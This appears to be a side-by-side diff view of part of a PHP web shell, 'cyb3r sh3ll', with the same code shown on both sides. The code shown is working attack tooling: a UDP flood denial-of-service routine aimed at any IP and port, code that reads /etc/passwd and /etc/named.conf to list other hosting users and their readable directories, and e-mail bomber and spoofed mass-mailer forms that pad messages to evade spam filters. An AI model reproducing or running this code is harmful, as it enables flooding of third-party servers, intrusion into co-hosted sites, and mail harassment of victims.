| 4829 | else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} | 4829 | else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} |
| 4830 | 4830 | ||
| 4831 | } | 4831 | } |
| 4832 | 4832 | ||
| 4833 | } | 4833 | } |
| 4834 | 4834 | ||
| 4835 | if ($act == "about") | 4835 | if ($act == "about") |
| 4836 | { | 4836 | { |
| 4837 | echo '<table align="center"><tr><td><b><font color="orange">Script:<br/>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br/> | 4837 | echo '<table align="center"><tr><td><b><font color="orange">Script:<br/>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br/> |
| 4838 | Name: cyb3r sh3ll<br>Version: '.$shver.'</font><br/><br/>Author:<br>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br> | 4838 | Name: cyb3r sh3ll<br>Version: '.$shver.'</font><br/><br/>Author:<br>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br> |
| 4839 | Name: cyb3r 9l4d!470r (Cyber Gladiator)<br>Country: India<br>Website: ????...<br>Email: cyb3r.gladiat0r@gmail.com | 4839 | Name: cyb3r 9l4d!470r (Cyber Gladiator)<br>Country: India<br>Website: ????...<br>Email: cyb3r.gladiat0r@gmail.com |
| 4840 | <a href="mailto:cyb3r.gladiat0r@gmail.com"></a><br/><br/><font color="green">Greetings:<br/>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br/>r45c4l bro you are my source of inspiration.<br/>r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot and they know for whom i\'m speaking.<br/>Thanks all who report bugs and send to my email id.</font><br/></b></td></tr></table>'; | 4840 | <a href="mailto:cyb3r.gladiat0r@gmail.com"></a><br/><br/><font color="green">Greetings:<br/>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br/>r45c4l bro you are my source of inspiration.<br/>r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot and they know for whom i\'m speaking.<br/>Thanks all who report bugs and send to my email id.</font><br/></b></td></tr></table>'; |
| 4841 | } | 4841 | } |
| 4842 | 4842 | ||
| 4843 | if ($act == "dos") | 4843 | if ($act == "dos") |
| 4844 | { | 4844 | { |
| 4845 | ?><center><br><br><img src="http://s15.postimage.org/5q2io54zv/dos.png"><br> | 4845 | ?><center><br><br><img src="http://s15.postimage.org/5q2io54zv/dos.png"><br> |
| 4846 | <b>Server IP:</b> <font color="green"><?php echo $_SERVER["SERVER_ADDR"]; ?></font><br><br> | 4846 | <b>Server IP:</b> <font color="green"><?php echo $_SERVER["SERVER_ADDR"]; ?></font><br><br> |
| 4847 | <b>Your IP:</b> <font color="red"><?php echo $_SERVER["REMOTE_ADDR"]; ?></font> (Don't DoS yourself nub)<br><br> | 4847 | <b>Your IP:</b> <font color="red"><?php echo $_SERVER["REMOTE_ADDR"]; ?></font> (Don't DoS yourself nub)<br><br> |
| 4848 | <form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="ddos"> | 4848 | <form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="ddos"> |
| 4849 | IP: | 4849 | IP: |
| 4850 | <input type="text" name="ip" size="15" maxlength="15" class="main" value = "127.0.0.1" onblur = "if ( this.value=='' ) this.value = '127.0.0.1';" onfocus = " if ( this.value == '127.0.0.1' ) this.value = '';"> | 4850 | <input type="text" name="ip" size="15" maxlength="15" class="main" value = "127.0.0.1" onblur = "if ( this.value=='' ) this.value = '127.0.0.1';" onfocus = " if ( this.value == '127.0.0.1' ) this.value = '';"> |
| 4851 | Time: | 4851 | Time: |
| 4852 | <input type="text" name="time" size="14" maxlength="20" class="main" value = "10" onblur = "if ( this.value=='' ) this.value = '10';" onfocus = " if ( this.value == '10' ) this.value = '';"> | 4852 | <input type="text" name="time" size="14" maxlength="20" class="main" value = "10" onblur = "if ( this.value=='' ) this.value = '10';" onfocus = " if ( this.value == '10' ) this.value = '';"> |
| 4853 | Port: | 4853 | Port: |
| 4854 | <input type="text" name="port" size="5" maxlength="5" class="main" value = "80" onblur = "if ( this.value=='' ) this.value = '80';" onfocus = " if ( this.value == '80' ) this.value = '';"> | 4854 | <input type="text" name="port" size="5" maxlength="5" class="main" value = "80" onblur = "if ( this.value=='' ) this.value = '80';" onfocus = " if ( this.value == '80' ) this.value = '';"> |
| 4855 | <br><br> | 4855 | <br><br> |
| 4856 | <input type="submit" value=" Start the Attack---> "> | 4856 | <input type="submit" value=" Start the Attack---> "> |
| 4857 | <br><br> | 4857 | <br><br> |
| 4858 | <center>After initiating the DoS attack, please wait while the browser loads.</center></form></center><?php | 4858 | <center>After initiating the DoS attack, please wait while the browser loads.</center></form></center><?php |
| 4859 | } | 4859 | } |
| 4860 | 4860 | ||
| 4861 | if ($act == "ddos") | 4861 | if ($act == "ddos") |
| 4862 | { | 4862 | { |
| 4863 | $packets = 0; | 4863 | $packets = 0; |
| 4864 | $ip = $_POST['ip']; | 4864 | $ip = $_POST['ip']; |
| 4865 | $rand = $_POST['port']; | 4865 | $rand = $_POST['port']; |
| 4866 | set_time_limit(0); | 4866 | set_time_limit(0); |
| 4867 | ignore_user_abort(FALSE); | 4867 | ignore_user_abort(FALSE); |
| 4868 | 4868 | ||
| 4869 | $exec_time = $_POST['time']; | 4869 | $exec_time = $_POST['time']; |
| 4870 | 4870 | ||
| 4871 | $time = time(); | 4871 | $time = time(); |
| 4872 | echo "<script>alert('Dos Completed!');</script>"; | 4872 | echo "<script>alert('Dos Completed!');</script>"; |
| 4873 | print "Flooded: $ip on port $rand <br><br>"; | 4873 | print "Flooded: $ip on port $rand <br><br>"; |
| 4874 | $max_time = $time+$exec_time; | 4874 | $max_time = $time+$exec_time; |
| 4875 | 4875 | ||
| 4876 | 4876 | ||
| 4877 | 4877 | ||
| 4878 | for($i=0;$i<65535;$i++){ | 4878 | for($i=0;$i<65535;$i++){ |
| 4879 | $out .= "X"; | 4879 | $out .= "X"; |
| 4880 | } | 4880 | } |
| 4881 | while(1){ | 4881 | while(1){ |
| 4882 | $packets++; | 4882 | $packets++; |
| 4883 | if(time() > $max_time){ | 4883 | if(time() > $max_time){ |
| 4884 | break; | 4884 | break; |
| 4885 | } | 4885 | } |
| 4886 | 4886 | ||
| 4887 | $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); | 4887 | $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); |
| 4888 | if($fp){ | 4888 | if($fp){ |
| 4889 | fwrite($fp, $out); | 4889 | fwrite($fp, $out); |
| 4890 | fclose($fp); | 4890 | fclose($fp); |
| 4891 | } | 4891 | } |
| 4892 | } | 4892 | } |
| 4893 | echo "Packet complete at ". time() ." with $packets (" . round(($packets*65)/1024, 2) . " kB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; | 4893 | echo "Packet complete at ". time() ." with $packets (" . round(($packets*65)/1024, 2) . " kB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; |
| 4894 | } | 4894 | } |
| 4895 | 4895 | ||
| 4896 | if ($act == "localdomain") | 4896 | if ($act == "localdomain") |
| 4897 | { | 4897 | { |
| 4898 | echo "<br><center><a href=\"".$surl."act=local\" ><b><u>Sites on this server.</u></b></a><font color='silver'><b> | </b></font><a href=\"".$surl."act=readable\" ><b><u>List of Users.</u></b></a></center><br>"; | 4898 | echo "<br><center><a href=\"".$surl."act=local\" ><b><u>Sites on this server.</u></b></a><font color='silver'><b> | </b></font><a href=\"".$surl."act=readable\" ><b><u>List of Users.</u></b></a></center><br>"; |
| 4899 | } | 4899 | } |
| 4900 | 4900 | ||
| 4901 | if ($act == "local") | 4901 | if ($act == "local") |
| 4902 | { | 4902 | { |
| 4903 | //radable public_html | 4903 | //radable public_html |
| 4904 | $file = @implode(@file("/etc/named.conf")); | 4904 | $file = @implode(@file("/etc/named.conf")); |
| 4905 | if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); } | 4905 | if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); } |
| 4906 | preg_match_all("#named/(.*?).db#",$file ,$r); | 4906 | preg_match_all("#named/(.*?).db#",$file ,$r); |
| 4907 | $domains = array_unique($r[1]); | 4907 | $domains = array_unique($r[1]); |
| 4908 | 4908 | ||
| 4909 | function check() | 4909 | function check() |
| 4910 | { | 4910 | { |
| 4911 | (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; | 4911 | (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; |
| 4912 | } | 4912 | } |
| 4913 | 4913 | ||
| 4914 | check(); | 4914 | check(); |
| 4915 | 4915 | ||
| 4916 | echo "<table align=center border=1 width=59% cellpadding=5> | 4916 | echo "<table align=center border=1 width=59% cellpadding=5> |
| 4917 | <tr><td colspan=2>[+] Here : [ <b>".count($domains)."</b> ] Domain ...</td></tr> | 4917 | <tr><td colspan=2>[+] Here : [ <b>".count($domains)."</b> ] Domain ...</td></tr> |
| 4918 | <tr><td><b>List of Domains</b></td><td><b>List of Users</b></td></tr>"; | 4918 | <tr><td><b>List of Domains</b></td><td><b>List of Users</b></td></tr>"; |
| 4919 | 4919 | ||
| 4920 | foreach($domains as $domain) | 4920 | foreach($domains as $domain) |
| 4921 | { | 4921 | { |
| 4922 | $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain)); | 4922 | $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain)); |
| 4923 | echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>"; | 4923 | echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>"; |
| 4924 | } | 4924 | } |
| 4925 | 4925 | ||
| 4926 | echo "</table>"; | 4926 | echo "</table>"; |
| 4927 | //radable public_html | 4927 | //radable public_html |
| 4928 | } | 4928 | } |
| 4929 | 4929 | ||
| 4930 | if ($act == "readable") | 4930 | if ($act == "readable") |
| 4931 | { | 4931 | { |
| 4932 | //entries in passwd file | 4932 | //entries in passwd file |
| 4933 | ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>'); | 4933 | ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>'); |
| 4934 | set_time_limit(0); | 4934 | set_time_limit(0); |
| 4935 | ################### | 4935 | ################### |
| 4936 | @$passwd = fopen('/etc/passwd','r'); | 4936 | @$passwd = fopen('/etc/passwd','r'); |
| 4937 | if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); } | 4937 | if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); } |
| 4938 | $pub = array(); | 4938 | $pub = array(); |
| 4939 | $users = array(); | 4939 | $users = array(); |
| 4940 | $conf = array(); | 4940 | $conf = array(); |
| 4941 | $i = 0; | 4941 | $i = 0; |
| 4942 | while(!feof($passwd)) | 4942 | while(!feof($passwd)) |
| 4943 | { | 4943 | { |
| 4944 | $str = fgets($passwd); | 4944 | $str = fgets($passwd); |
| 4945 | if ($i > 35) | 4945 | if ($i > 35) |
| 4946 | { | 4946 | { |
| 4947 | $pos = strpos($str,':'); | 4947 | $pos = strpos($str,':'); |
| 4948 | $username = substr($str,0,$pos); | 4948 | $username = substr($str,0,$pos); |
| 4949 | $dirz = '/home/'.$username.'/public_html/'; | 4949 | $dirz = '/home/'.$username.'/public_html/'; |
| 4950 | if (($username != '')) | 4950 | if (($username != '')) |
| 4951 | { | 4951 | { |
| 4952 | if (is_readable($dirz)) | 4952 | if (is_readable($dirz)) |
| 4953 | { | 4953 | { |
| 4954 | array_push($users,$username); | 4954 | array_push($users,$username); |
| 4955 | array_push($pub,$dirz); | 4955 | array_push($pub,$dirz); |
| 4956 | } | 4956 | } |
| 4957 | } | 4957 | } |
| 4958 | } | 4958 | } |
| 4959 | $i++; | 4959 | $i++; |
| 4960 | } | 4960 | } |
| 4961 | ################### | 4961 | ################### |
| 4962 | echo '<br><br><textarea class="output" >'; | 4962 | echo '<br><br><textarea class="output" >'; |
| 4963 | echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"; | 4963 | echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"; |
| 4964 | echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"; | 4964 | echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"; |
| 4965 | echo "[~] Searching for passwords in config files...\n\n"; | 4965 | echo "[~] Searching for passwords in config files...\n\n"; |
| 4966 | foreach ($users as $user) | 4966 | foreach ($users as $user) |
| 4967 | { | 4967 | { |
| 4968 | $path = "/home/$user/public_html/"; | 4968 | $path = "/home/$user/public_html/"; |
| 4969 | echo "$path \n"; | 4969 | echo "$path \n"; |
| 4970 | } | 4970 | } |
| 4971 | echo "\n"; | 4971 | echo "\n"; |
| 4972 | echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <- that's on the menu -> Explorer \n"; | 4972 | echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <- that's on the menu -> Explorer \n"; |
| 4973 | echo "[+] Done ...\n"; | 4973 | echo "[+] Done ...\n"; |
| 4974 | echo '</textarea><br><br>Coded by <b>cyb3r 9l4d!470r</b> <a href=#/>Homepage</a>'; | 4974 | echo '</textarea><br><br>Coded by <b>cyb3r 9l4d!470r</b> <a href=#/>Homepage</a>'; |
| 4975 | 4975 | ||
| 4976 | 4976 | ||
| 4977 | } | 4977 | } |
| 4978 | 4978 | ||
| 4979 | 4979 | ||
| 4980 | if ($act == "mailer") | 4980 | if ($act == "mailer") |
| 4981 | { | 4981 | { |
| 4982 | ?> <TABLE style="BORDER-COLLAPSE: collapse; borderColor=#c0c0c0" cellSpacing=0 cellPadding=5 width="100%" border=1> | 4982 | ?> <TABLE style="BORDER-COLLAPSE: collapse; borderColor=#c0c0c0" cellSpacing=0 cellPadding=5 width="100%" border=1> |
| 4983 | <tr> <!-- 1 --> | 4983 | <tr> <!-- 1 --> |
| 4984 | <td valign="top" width="33%" ><p align="center"><b>(: E-Mail Bomber :)</b></p></td> | 4984 | <td valign="top" width="33%" ><p align="center"><b>(: E-Mail Bomber :)</b></p></td> |
| 4985 | <td valign="top" width="33%" ><p align="center"><b>[: Mass Mailer :]</b></p></td> | 4985 | <td valign="top" width="33%" ><p align="center"><b>[: Mass Mailer :]</b></p></td> |
| 4986 | <td valign="top" ><p align="center"><b>{: Anonymous Mailer :}</b></p></td> | 4986 | <td valign="top" ><p align="center"><b>{: Anonymous Mailer :}</b></p></td> |
| 4987 | </tr> | 4987 | </tr> |
| 4988 | <tr><!-- 2 --> | 4988 | <tr><!-- 2 --> |
| 4989 | <td valign="top" ><center> | 4989 | <td valign="top" ><center> |
| 4990 | <?php | 4990 | <?php |
| 4991 | if( | 4991 | if( |
| 4992 | isset($_POST['to']) && | 4992 | isset($_POST['to']) && |
| 4993 | isset($_POST['subject']) && | 4993 | isset($_POST['subject']) && |
| 4994 | isset($_POST['message']) && | 4994 | isset($_POST['message']) && |
| 4995 | isset($_POST['times']) && | 4995 | isset($_POST['times']) && |
| 4996 | $_POST['to'] != '' && | 4996 | $_POST['to'] != '' && |
| 4997 | $_POST['subject'] != '' && | 4997 | $_POST['subject'] != '' && |
| 4998 | $_POST['message'] != '' && | 4998 | $_POST['message'] != '' && |
| 4999 | $_GET['act'] =='mailbomber' && | 4999 | $_GET['act'] =='mailbomber' && |
| 5000 | $_POST['times'] != '' | 5000 | $_POST['times'] != '' |
| 5001 | ) | 5001 | ) |
| 5002 | { | 5002 | { |
| 5003 | $times = $_POST['times']; | 5003 | $times = $_POST['times']; |
| 5004 | while($times--) | 5004 | while($times--) |
| 5005 | { | 5005 | { |
| 5006 | if(isset($_POST['padding'])) | 5006 | if(isset($_POST['padding'])) |
| 5007 | { | 5007 | { |
| 5008 | $fromPadd = rand(0,9999); | 5008 | $fromPadd = rand(0,9999); |
| 5009 | $subjectPadd = " -- ID : ".rand(0,9999999); | 5009 | $subjectPadd = " -- ID : ".rand(0,9999999); |
| 5010 | $messagePadd = "\n\n------------------------------\n".rand(0,99999999); | 5010 | $messagePadd = "\n\n------------------------------\n".rand(0,99999999); |
| 5011 | 5011 | ||
| 5012 | } | 5012 | } |
| 5013 | $from = "your$fromPadd@email.id"; | 5013 | $from = "your$fromPadd@email.id"; |
| 5014 | if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from)) | 5014 | if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from)) |
| 5015 | { | 5015 | { |
| 5016 | $error = 1; | 5016 | $error = 1; |
| 5017 | echo "<font color='red'>Some Error Occured!</font>"; | 5017 | echo "<font color='red'>Some Error Occured!</font>"; |
| 5018 | break; | 5018 | break; |
| 5019 | } | 5019 | } |
| 5020 | } | 5020 | } |
| 5021 | if($error != 1) | 5021 | if($error != 1) |
| 5022 | { echo "<font color='green'>Mail(s) Sent!</font>"; } | 5022 | { echo "<font color='green'>Mail(s) Sent!</font>"; } |
| 5023 | } | 5023 | } |
| 5024 | else | 5024 | else |
| 5025 | { | 5025 | { |
| 5026 | ?> | 5026 | ?> |
| 5027 | <form method="post" action ="<?php echo $surl."act=mailbomber";?>"> | 5027 | <form method="post" action ="<?php echo $surl."act=mailbomber";?>"> |
| 5028 | <table> | 5028 | <table> |
| 5029 | <tr> | 5029 | <tr> |
| 5030 | <td > | 5030 | <td > |
| 5031 | To | 5031 | To |
| 5032 | </td> | 5032 | </td> |
| 5033 | <td> | 5033 | <td> |
| 5034 | <input name="to" value="victim@target.com,victim2@target.com" onfocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onblur="if(this.value=='')this.value='victim@target.com,victim2@target.com,victim@target.com,victim2@target.com';"/> | 5034 | <input name="to" value="victim@target.com,victim2@target.com" onfocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onblur="if(this.value=='')this.value='victim@target.com,victim2@target.com,victim@target.com,victim2@target.com';"/> |
| 5035 | </td> | 5035 | </td> |
| 5036 | </tr> | 5036 | </tr> |
| 5037 | 5037 | ||
| 5038 | <tr> | 5038 | <tr> |
| 5039 | <td class="title"> | 5039 | <td class="title"> |
| 5040 | Subject | 5040 | Subject |
| 5041 | </td> | 5041 | </td> |
| 5042 | <td> | 5042 | <td> |
| 5043 | <input type="text" name="subject" value="Just testing how deep i can fuck!" onfocus="if(this.value == 'Just testing how deep i can fuck!')this.value = '';" onblur="if(this.value=='')this.value='Just testing how deep i can fuck!';" /> | 5043 | <input type="text" name="subject" value="Just testing how deep i can fuck!" onfocus="if(this.value == 'Just testing how deep i can fuck!')this.value = '';" onblur="if(this.value=='')this.value='Just testing how deep i can fuck!';" /> |
| 5044 | </td> | 5044 | </td> |
| 5045 | </tr> | 5045 | </tr> |
| 5046 | <tr> | 5046 | <tr> |
| 5047 | <td > | 5047 | <td > |
| 5048 | No. of Times | 5048 | No. of Times |
| 5049 | </td> | 5049 | </td> |
| 5050 | <td> | 5050 | <td> |
| 5051 | <input name="times" value="100" onfocus="if(this.value == '100')this.value = '';" onblur="if(this.value=='')this.value='100';"/> | 5051 | <input name="times" value="100" onfocus="if(this.value == '100')this.value = '';" onblur="if(this.value=='')this.value='100';"/> |
| 5052 | </td> | 5052 | </td> |
| 5053 | </tr> | 5053 | </tr> |
| 5054 | 5054 | ||
| 5055 | <tr> | 5055 | <tr> |
| 5056 | <td> | 5056 | <td> |
| 5057 | 5057 | ||
| 5058 | Pad your message (Less spam detection) | 5058 | Pad your message (Less spam detection) |
| 5059 | 5059 | ||
| 5060 | </td> | 5060 | </td> |
| 5061 | <td> | 5061 | <td> |
| 5062 | 5062 | ||
| 5063 | <input type="checkbox" name="padding"/> | 5063 | <input type="checkbox" name="padding"/> |
| 5064 | 5064 | ||
| 5065 | </td> | 5065 | </td> |
| 5066 | </tr> | 5066 | </tr> |
| 5067 | <tr> | 5067 | <tr> |
| 5068 | <td > | 5068 | <td > |
| 5069 | <textarea name="message" cols="25" rows="5" value="cyb3r-sh3ll Rocks!!.." onfocus="if(this.value == 'cyb3r-sh3ll Rocks!! ..')this.value = '';" onblur="if(this.value=='')this.value='cyb3r-sh3ll Rocks!! ..';">cyb3r-sh3ll Rocks!!</textarea> | 5069 | <textarea name="message" cols="25" rows="5" value="cyb3r-sh3ll Rocks!!.." onfocus="if(this.value == 'cyb3r-sh3ll Rocks!! ..')this.value = '';" onblur="if(this.value=='')this.value='cyb3r-sh3ll Rocks!! ..';">cyb3r-sh3ll Rocks!!</textarea> |
| 5070 | </td> | 5070 | </td> |
| 5071 | <td > | 5071 | <td > |
| 5072 | <input style="margin : 20px; margin-left: 10px; padding : 10px; width: 100px;" type="submit" value="Send! :D"/> | 5072 | <input style="margin : 20px; margin-left: 10px; padding : 10px; width: 100px;" type="submit" value="Send! :D"/> |
| 5073 | </td> | 5073 | </td> |
| 5074 | </tr> | 5074 | </tr> |
| 5075 | 5075 | ||
| 5076 | 5076 | ||
| 5077 | 5077 | ||
| 5078 | </table> | 5078 | </table> |
| 5079 | </form> | 5079 | </form> |
| 5080 | <?php | 5080 | <?php |
| 5081 | } | 5081 | } |
| 5082 | ?> | 5082 | ?> |
| 5083 | 5083 | ||
| 5084 | </center></td> | 5084 | </center></td> |
| 5085 | 5085 | ||
| 5086 | <td valign="top"><center> | 5086 | <td valign="top"><center> |
| 5087 | <?PHP | 5087 | <?PHP |
| 5088 | if( | 5088 | if( |
| 5089 | isset($_POST['to']) && | 5089 | isset($_POST['to']) && |
| 5090 | isset($_POST['from']) && | 5090 | isset($_POST['from']) && |
| 5091 | isset($_POST['subject']) && | 5091 | isset($_POST['subject']) && |
| 5092 | $_GET['act'] =='massmailer' && | 5092 | $_GET['act'] =='massmailer' && |
| 5093 | isset($_POST['message']) | 5093 | isset($_POST['message']) |
| 5094 | ) | 5094 | ) |
| 5095 | { | 5095 | { |
| 5096 | 5096 | ||
| 5097 | if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from'])) | 5097 | if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from'])) |
| 5098 | { | 5098 | { |
| 5099 | echo "<font color='green'>Mail Sent!</font>"; | 5099 | echo "<font color='green'>Mail Sent!</font>"; |
| 5100 | } | 5100 | } |
| 5101 | else | 5101 | else |
| 5102 | { | 5102 | { |
| 5103 | echo "<font color='red'>Some Error Occured!</font>"; | 5103 | echo "<font color='red'>Some Error Occured!</font>"; |
| 5104 | } | 5104 | } |
| 5105 | } | 5105 | } |
| 5106 | else | 5106 | else |
| 5107 | { | 5107 | { |
| 5108 | ?> | 5108 | ?> |
| 5109 | <form method="POST" action="<?php echo $surl."act=massmailer";?>"> | 5109 | <form method="POST" action="<?php echo $surl."act=massmailer";?>"> |
| 5110 | 5110 | ||
| 5111 | <table > | 5111 | <table > |
| 5112 | <tr> | 5112 | <tr> |
| 5113 | <td > | 5113 | <td > |
| 5114 | From | 5114 | From |
| 5115 | </td> | 5115 | </td> |
| 5116 | <td> | 5116 | <td> |
| 5117 | <input name="from" value="your@email.id" onfocus="if(this.value == 'your@email.id')this.value = '';" onblur="if(this.value=='')this.value='your@email.id';"/> | 5117 | <input name="from" value="your@email.id" onfocus="if(this.value == 'your@email.id')this.value = '';" onblur="if(this.value=='')this.value='your@email.id';"/> |
| 5118 | </td> | 5118 | </td> |
| 5119 | </tr> | 5119 | </tr> |
| 5120 | 5120 | ||
| 5121 | <tr> | 5121 | <tr> |
| 5122 | <td > | 5122 | <td > |
| 5123 | To | 5123 | To |
| 5124 | </td> | 5124 | </td> |
| 5125 | <td> | 5125 | <td> |
| 5126 | <input name="to" value="victim@target.com,victim2@target.com" onfocus="if(this.value == 'victim@target.com,victim2@target.com')this.value = '';" onblur="if(this.value=='')this.value='victim@target.com,victim2@target.com';"/> | 5126 | <input name="to" value="victim@target.com,victim2@target.com" onfocus="if(this.value == 'victim@target.com,victim2@target.com')this.value = '';" onblur="if(this.value=='')this.value='victim@target.com,victim2@target.com';"/> |
| 5127 | </td> | 5127 | </td> |
| 5128 | </tr> | 5128 | </tr> |
| 5129 | 5129 | ||
| 5130 | <tr> | 5130 | <tr> |
| 5131 | <td class="title"> | 5131 | <td class="title"> |
| 5132 | Subject | 5132 | Subject |
| 5133 | </td> | 5133 | </td> |
| 5134 | <td> | 5134 | <td> |
| 5135 | <input type="text" name="subject" value="Just testing how deep i can fuck!" onfocus="if(this.value == 'Just testing how deep i can fuck!')this.value = '';" onblur="if(this.value=='')this.value='Just testing how deep i can fuck!';" /> | 5135 | <input type="text" name="subject" value="Just testing how deep i can fuck!" onfocus="if(this.value == 'Just testing how deep i can fuck!')this.value = '';" onblur="if(this.value=='')this.value='Just testing how deep i can fuck!';" /> |
| 5136 | </td> | 5136 | </td> |
| 5137 | </tr> | 5137 | </tr> |
| 5138 | 5138 | ||
| 5139 | 5139 | ||
| 5140 | <tr> | 5140 | <tr> |
| 5141 | <td > | 5141 | <td > |
| 5142 | <textarea name="message" cols="25" rows="5" value="I cant forget the time, i was trying to learn all this stuff without some guidance .." onfocus="if(this.value == 'I cant forget the time, i was trying to learn all this stuff without some guidance ..')this.value = '';" onblur="if(this.value=='')this.value='I cant forget the time, i was trying to learn all this stuff without some guidance ..';">I cant forget the time, i was trying to learn all this stuff without some guidance ..</textarea> | 5142 | <textarea name="message" cols="25" rows="5" value="I cant forget the time, i was trying to learn all this stuff without some guidance .." onfocus="if(this.value == 'I cant forget the time, i was trying to learn all this stuff without some guidance ..')this.value = '';" onblur="if(this.value=='')this.value='I cant forget the time, i was trying to learn all this stuff without some guidance ..';">I cant forget the time, i was trying to learn all this stuff without some guidance ..</textarea> |
| 5143 | </td> | 5143 | </td> |
| 5144 | <td > | 5144 | <td > |
| 5145 | <input style="margin : 20px; margin-left: 10px; padding : 10px; width: 100px;" type="submit" value="Send! :D"/> | 5145 | <input style="margin : 20px; margin-left: 10px; padding : 10px; width: 100px;" type="submit" value="Send! :D"/> |
| 5146 | </td> | 5146 | </td> |
| 5147 | </tr> | 5147 | </tr> |
| 5148 | 5148 | ||
| 5149 | 5149 | ||
| 5150 | 5150 | ||
| 5151 | </table> | 5151 | </table> |
| 5152 | </form> | 5152 | </form> |
| 5153 | <?php | 5153 | <?php |
| 5154 | } | 5154 | } |
| 5155 | 5155 | ||
| 5156 | ?> | 5156 | ?> |
| 5157 | </center> | 5157 | </center> |
| 5158 | </td> | 5158 | </td> |
| 5159 | 5159 | ||
| 5160 | <td ><center> | 5160 | <td ><center> |
| 5161 | 5161 | ||
| 5162 | <form action="" method="post" enctype="multipart/form-data"> | 5162 | <form action="" method="post" enctype="multipart/form-data"> |
| 5163 | <table border="0" class="full"> | 5163 | <table border="0" class="full"> |
| 5164 | <tr><td class="taright"><label for="fromname" accesskey="r" class="sbold">F<span class="underline">r</span>om Name:</label></td><td colspan="2"><input type="text" id="fromname" name="fromname" maxlength="100" class="full" /><label for="from" accesskey="f" class="sbold"><span class="underline">F</span>rom E-mail:</label></td><td colspan="2"><input type="text" id="from" name="from" maxlength="100" class="full" value="your@email.id" onfocus="if(this.value == 'your@email.id')this.value = '';" onblur="if(this.value=='')this.value='your@email.id';"/></td></tr> | 5164 | <tr><td class="taright"><label for="fromname" accesskey="r" class="sbold">F<span class="underline">r</span>om Name:</label></td><td colspan="2"><input type="text" id="fromname" name="fromname" maxlength="100" class="full" /><label for="from" accesskey="f" class="sbold"><span class="underline">F</span>rom E-mail:</label></td><td colspan="2"><input type="text" id="from" name="from" maxlength="100" class="full" value="your@email.id" onfocus="if(this.value == 'your@email.id')this.value = '';" onblur="if(this.value=='')this.value='your@email.id';"/></td></tr> |
| 5165 | 5165 | ||
| 5166 | <tr><td class="taright"><label for="rcpt" accesskey="o" class="sbold">T<span class="underline">o</span>:</label></td><td colspan="2"><input type="text" id="rcpt" name="rcpt" maxlength="100" class="full" /><label for="subject" accesskey="j" class="sbold">Sub<span class="underline">j</span>ect:</label></td><td colspan="2"><input type="text" id="subject" name="subject" maxlength="100" class="full" value="Just testing how deep i can fuck!" onfocus="if(this.value == 'Just testing how deep i can fuck!')this.value = '';" onblur="if(this.value=='')this.value='Just testing how deep i can fuck!';"/></td></tr> | 5166 | <tr><td class="taright"><label for="rcpt" accesskey="o" class="sbold">T<span class="underline">o</span>:</label></td><td colspan="2"><input type="text" id="rcpt" name="rcpt" maxlength="100" class="full" /><label for="subject" accesskey="j" class="sbold">Sub<span class="underline">j</span>ect:</label></td><td colspan="2"><input type="text" id="subject" name="subject" maxlength="100" class="full" value="Just testing how deep i can fuck!" onfocus="if(this.value == 'Just testing how deep i can fuck!')this.value = '';" onblur="if(this.value=='')this.value='Just testing how deep i can fuck!';"/></td></tr> |
| 5167 | 5167 | ||
